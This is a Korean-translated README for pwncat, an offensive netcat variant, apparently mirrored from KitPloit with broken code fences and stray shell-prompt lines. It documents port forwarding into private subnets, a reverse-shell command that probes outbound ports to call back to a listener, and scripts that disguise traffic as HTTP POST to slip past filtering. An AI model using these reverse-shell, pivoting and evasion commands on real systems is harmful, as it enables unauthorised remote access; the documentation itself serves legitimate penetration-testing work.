원한다면, 전체 TRACE 로깅 모드로 리스너를 시작하여 상황을 파악하거나 간단히 문제를 해결할 수 있습니다. 로그 메시지는 심각도에 따라 색상이 표시됩니다. stderr가 pty가 아닌 경우(예: 파일로 파이핑하는 경우) 색상이 자동으로 꺼집니다. --color 스위치를 통해 터미널 출력의 색상 로깅을 수동으로 비활성화할 수도 있습니다.```bash pwncat -vvvv -l 4444

root@kitploit:~
당신은 (모든 잡음 속에서) TRACE 메시지를 보게 될 것입니다:```bash
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

리스너에서 이를 확인하는 즉시 클라이언트에 명령을 내릴 수 있습니다. 모든 디버그 메시지도 필요하지 않으므로 안전하게 Ctrl+c를 눌러 서버를 종료하고 무음 모드로 다시 시작할 수 있습니다:```bash pwncat -l 4444

root@kitploit:~
이제 클라이언트가 다시 연결되는 간격에 따라 최대 몇 초 정도 기다리면, 짜잔, 세션이 다시 로그 없이 작동합니다.

정보 메시지가 전혀 없는 것도 때로는 바람직하지 않습니다. 배후에서 무슨 일이 일어나고 있는지 알고 싶을 수도 있지 않나요? 안전하게 <kbd>Ctrl</kbd>+<kbd>c</kbd>로 서버를 종료하고 알림을 로그 파일로 리디렉션하세요:```bash
pwncat -l -vvv 4444 2> comm.txt

이제 터미널 세션에서는 실제 명령어 입력과 출력만 볼 수 있습니다. 뒤에서 무슨 일이 일어나고 있는지 확인하려면 두 번째 터미널 창을 열고 comm.txt 파일을 tail하십시오:```bash

View communication info

tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

root@kitploit:~
#### 소켓 정보

또 다른 유용한 기능은 현재 구성된 소켓 및 네트워크 설정을 표시하는 것입니다.
`--info` 스위치를 `socket`, `ipv4`, `ipv6`, `tcp` 또는 `all`과 함께 사용하여 사용 가능한 모든 설정을 표시합니다.

**참고:** 해당 설정을 보려면 최소한 `INFO` 로그 수준(`-vv`)이어야 합니다.

사용자 지정 설정 없이 IPv4/TCP 모드의 예제 출력은 아래와 같습니다:```
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0

포트 포워딩 마법

로컬 TCP 포트 포워딩

시나리오

  1. 앨리스는 외부에서 (TCP/UDP)로 접근 가능
  2. 밥은 앨리스의 머신에서만 접근 가능``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### 로컬 UDP 포트 포워딩

**시나리오**
1. Alice는 외부에서 접근 가능 (UDP로만)
2. Bob은 Alice의 머신에서만 접근 가능```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

원격 TCP 포트 포워딩

시나리오

  1. 앨리스는 외부에서 접근할 수 없습니다
  2. 앨리스는 외부로의 연결(TCP/UDP)이 허용됩니다
  3. 밥은 앨리스의 머신에서만 접근할 수 있습니다``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### 원격 UDP 포트 포워딩

**시나리오**
1. 앨리스는 외부에서 접근할 수 없습니다
2. 앨리스는 외부에 연결할 수 있습니다 (UDP: DNS 전용)
3. 밥은 앨리스의 머신에서만 접근할 수 있습니다```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

아웃바운드 포트 호핑

대상 머신에서 어떤 아웃바운드 포트가 허용되는지 전혀 모르는 경우, 클라이언트(예: 리버스 셸의 경우)에게 아웃바운드 포트를 끊임없이 탐색하도록 지시할 수 있습니다.```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

root@kitploit:~
클라이언트가 실행 중이면, 원시 소켓을 사용하여 인바운드 트래픽을 확인하거나 Wireshark나 tcpdump와 같은 도구를 사용하여 클라이언트가 사용자에게 다시 연결할 수 있는 위치를 알아낼 수 있습니다.

클라이언트가 사용자에게 연결할 수 있는 하나 이상의 포트를 찾았다면, 로컬에서 리스너를 시작하고 클라이언트가 다시 연결되기를 기다리면 됩니다.```bash
pwncat -l <ip> <port>

If the client connects to you, you will have a working reverse shell. If you stop your local listening server accidentally or on purpose, the client will probe ports again until it connects successfully. In order to kill the reverse shell client, you can use --safe-word (when starting the client).

If none of this succeeds, you can add other measures such as using UDP or even wrapping your packets into higher level protocols, such as HTTP or others. See PSE or examples below for how to transform your traffic.

Pwncat 스크립팅 엔진 (PSE)

pwncat는 데이터를 보내기 전과 받은 후에 사용자 정의 코드를 주입할 수 있는 Python 기반 스크립팅 엔진을 제공합니다.

작동 방식

다음 진입점 함수와 함께 Python 파일을 제공하기만 하면 됩니다:```python def transform(data, pse): # Example to reverse a string return data[::-1]

root@kitploit:~
Both, the function name must be named `transform` and the parsed arguments must be named `data` and `pse`.
그 외에는 원하는 만큼 코드를 추가할 수 있습니다. 각 `pwncat` 인스턴스는 두 개의 스크립트를 사용할 수 있습니다:

1. `--script-send`: 전송 전에 적용되는 스크립트
2. `--script-recv`: 수신 후에 적용되는 스크립트

자세한 API 및 내용은 [여기](https://github.com/cytopia/pwncat/blob/HEAD/pse)를 참조하세요

#### Example 1: Self-built asymmetric encryption

> PSE: [asym-enc](https://github.com/cytopia/pwncat/blob/HEAD/pse/asym-enc) 소스 코드

이것은 트래픽을 비대칭적으로 암호화합니다. 양쪽에서 서로 다른 시프트 길이를 사용하는 매우 기본적인 [ROT13](https://en.wikipedia.org/wiki/ROT13) 구현으로, 비대칭성을 *모방*합니다. 동일한 방식으로 PSE를 위한 GPG 기반 비대칭 암호화를 구현할 수 있습니다.```bash
# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
root@kitploit:~
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

예제 2: 직접 구축한 HTTP POST 래퍼

PSE: http-post 소스 코드

이는 모든 트래픽을 유효한 HTTP POST 요청으로 래핑하여 일반 HTTP 트래픽처럼 보이게 합니다.```bash

server

pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py

root@kitploit:~
```bash
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

포트 스캐닝

TCP```bash

$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN

root@kitploit:~
#### UDP
다음 UDP 포트가 노출되고 있습니다:```bash
$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:39856           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::1053                 :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::57728                :::*
nmap```bash

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s user 0m0.844s sys 0m2.571s

root@kitploit:~
##### netcat```bash
$ time nc  -z localhost 1-65535  -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real    0m18.734s
user    0m1.004s
sys     0m2.634s
pwncat```bash

$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)

real 0m7.309s user 0m6.465s sys 0m4.794s

root@kitploit:~
## :information_source: 자주 묻는 질문 (FAQ)

**전체 FAQ는 다음에서 확인하세요:** https://docs.pwncat.org/en/latest/faq.html

**Q**: `pwncat`은(는) `netcat`과(와) 호환되나요?

**A**: 예, 연결, 수신 및 제로 입출력 모드에서 동작 방식이 완전히 호환됩니다. `pwncat`을(를) `netcat`, `ncat` 또는 유사한 도구와 혼합하여 사용할 수도 있습니다.


**Q**: X에서도 작동하나요?

**A**: 현재 상태에서는 Python 2, 3, pypy2 및 pypy3에서 작동하며 Linux와 MacOS에서 완전히 테스트되었습니다. Windows 지원도 가능하지만 실험적인 것으로 간주됩니다 ([통합 테스트](https://github.com/cytopia/pwncat/actions) 참조).


**Q**: 버그를 발견했거나 새로운 기능을 제안하고 싶습니다! 어떻게 해야 하나요?

**A**: 버그 신고나 개선 사항은 [여기](https://github.com/cytopia/pwncat/issues)에서 이슈를 열어주세요.


**Q**: 이 프로젝트를 어떻게 지원할 수 있나요?

**A**: 물어봐 주셔서 감사합니다! 우선 이 프로젝트에 별표를 눌러 피드백을 주시고, 자세한 내용은 [CONTRIBUTING.md](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md)를 참조하세요.


## :sunrise: 아트워크

<table>
 <thead>
  <tr>
   <th>유형</th>
   <th>아티스트</th>
   <th>이미지</th>
   <th>라이선스</th>
  </tr>
 </thead>
 <tbody>
  <tr>
   <td>로고</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/logo.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/a1b54927c2019b933f6e456079c612aff45d525e69c6058199d8fe049916146f.png" style="height:128px;" height="128" alt="pwncat logo" title="pwncat logo" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>배너 1</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/banner-1.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/51461eddf94bb0ed53b8d28478113978cf87ea31e645b2afc8e1783053e8bafc.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner"  /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
  <tr>
   <td>배너 2</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/banner-2.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/1deb2e118b970b2b974f682e9ef087bbc5cc9c18674b5d4cbbdf967885d119c9.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
  </tr>
 </tbody>
</table>


## :lock: [cytopia](https://github.com/cytopia) 보안 도구

아래는 제가 유지 관리하는 보안 도구 및 문서 목록입니다.

| 이름                 | 범주             | 언어   | 설명 |
|----------------------|------------------|--------|------|
| **[offsec]**         | 문서        | Markdown   | Offsec 체크리스트, 도구 및 예제 |
| **[header-fuzz]**    | 열거          | Bash       | HTTP 헤더 퍼징 |
| **[smtp-user-enum]** | 열거          | Python 2+3 | SMTP 사용자 열거 도구 |
| **[urlbuster]**      | 열거          | Python 2+3 | 가변 웹 디렉터리 퍼저 |
| **[pwncat]**         | 피벗(Pivoting)             | Python 2+3 | 강화된 크로스 플랫폼 netcat |
| **[kusanagi]**       | 페이로드 생성기    | Python 3   | 바인드 및 리버스 셸 페이로드 생성기 |
| **[badchars]**       | 리버스 엔지니어링  | Python 2+3 | Badchar 생성기 |
| **[fuzza]**          | 리버스 엔지니어링  | Python 2+3 | TCP 퍼징 도구 |
| **[docker-dvwa]**    | 플레이그라운드           | PHP        | 로컬 권한 상승 과제가 포함된 DVWA |

[offsec]: https://github.com/cytopia/offsec
[header-fuzz]: https://github.com/cytopia/header-fuzz
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
[urlbuster]: https://github.com/cytopia/urlbuster
[pwncat]: https://github.com/cytopia/pwncat
[kusanagi]: https://github.com/cytopia/kusanagi
[badchars]: https://github.com/cytopia/badchars
[fuzza]: https://github.com/cytopia/fuzza
[docker-dvwa]: https://github.com/cytopia/docker-dvwa


## :octocat: 기여하기

이 프로젝트 개선에 도움을 주시려면 **[기여 가이드라인](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md)**을 참조하세요.


## :exclamation: 면책 조항

이 도구는 합법적인 목적으로만 사용해야 합니다. 사용자는 이 도구를 사용하여 수행된 모든 행동에 대해 전적인 책임을 집니다. 저자는 이 도구로 인해 발생한 손해에 대해 어떠한 책임도 지지 않습니다. 이 조건에 동의하지 않으면 이 도구를 사용하지 마십시오.


## :page_facing_up: 라이선스

**[MIT License](https://github.com/cytopia/pwncat/blob/HEAD/LICENSE.txt)**

Copyright (c) 2020 **[cytopia](https://github.com/cytopia)**